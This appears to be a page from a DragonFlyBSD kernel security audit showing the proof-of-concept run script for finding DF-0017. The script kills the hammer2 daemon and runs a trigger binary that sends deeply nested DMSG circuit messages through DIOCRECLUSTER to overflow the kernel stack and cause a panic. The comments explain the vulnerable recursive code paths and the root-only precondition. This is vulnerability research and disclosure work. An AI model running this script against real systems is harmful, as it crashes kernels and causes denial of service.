DragonFlyBSD Kernel Audit
DF-0017 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0017 PoC run script (kernel stack-overflow DoS).
#
# ENVIRONMENT PRECONDITIONS
#   - DragonFlyBSD master DEV guest (tested: v6.5.0.1712.g89e6a-DEVELOPMENT).
#   - Run as ROOT (must open /dev/vbd0 and issue DIOCRECLUSTER; the raw
#     disk node is root:operator crw-r-----, so unprivileged users cannot
#     trigger the LOCAL vector).
#   - To capture the panic/backtrace on a headless guest, set the kernel
#     console to serial first (once, then reboot):
#         echo 'console="comconsole"' >> /boot/loader.conf && reboot
#     so the panic lands on the QEMU serial line (dfbsd-qemu/boot.log).
#     The default vidconsole is headless (-display none) and would hide it.
#
# WHAT THIS DOES
#   1. Kill the hammer2 userland cluster daemon (pid "hammer2").  At boot
#      it connects every disk's DMSG iocom via DIOCRECLUSTER
#      (sbin/hammer2/cmd_service.c:898), leaving each disk iocom's reader
#      blocked in fp_read() on a pipe.  That makes a follow-on
#      DIOCRECLUSTER deadlock in kdmsg_iocom_reconnect()
#      (sys/kern/kern_dmsg.c:141) waiting for the stuck reader.  Killing
#      the daemon breaks the pipes, readers get EOF and exit (msgrd_td
#      -> NULL), and a fresh DIOCRECLUSTER then succeeds.  (The root fs
#      hammer2 mount has its own kernel iocom and is NOT affected.)
#   2. Run ./trigger <depth>: opens /dev/vbd0, builds an AF_UNIX
#      socketpair, attaches one end to the kernel disk DMSG iocom via
#      DIOCRECLUSTER, and writes <depth> chained CREATE messages (circuit
#      nesting) followed by a DELETE on the chain root.  The DELETE drives
#      kdmsg_state_cleanuprx -> kdmsg_simulate_failure (and connection
#      close drives the write-thread teardown path) -- both unbounded
#      recursive walks that overflow the 16 KB LWKT stack.
#
# EXPECTED (bug present): kernel panic -- "Fatal double fault" / stack
#   exhaustion -- guest freezes in DDB.  Reset with: vm.sh reset
# EXPECTED (fixed kernel, depth cap): trigger exits 0, no panic.
#
set -u
cd "$(dirname "$0")"
DEPTH="${1:-300}"        # 300 >> the ~handful of levels needed to overflow 16 KB

[ "$(id -u)" = "0" ] || { echo "run.sh: must be run as root (need DIOCRECLUSTER on /dev/vbd0)" >&2; exit 1; }
[ -x ./trigger ] || { echo "run.sh: ./trigger not built; run ./build.sh first" >&2; exit 1; }

# 1. free the disk DMSG iocom (kill the boot-time hammer2 daemon)
pkill -9 -x hammer2 2>/dev/null
sleep 2
ps -A 2>/dev/null | grep -E 'vbd0-msgrd|vbd0-msgwr' | grep -v grep \
    && { echo "run.sh: disk iocom still occupied; another daemon holds it" >&2; exit 1; }
echo "[setup] disk DMSG iocom is free"

# 2. fire the trigger
echo "[run] ./trigger $DEPTH  (expect kernel double-fault panic)"
./trigger "$DEPTH"
echo "TRIGGER_EXIT=$?"
echo "[run] if you see this, the recursion did NOT overflow (kernel fixed / depth too small)"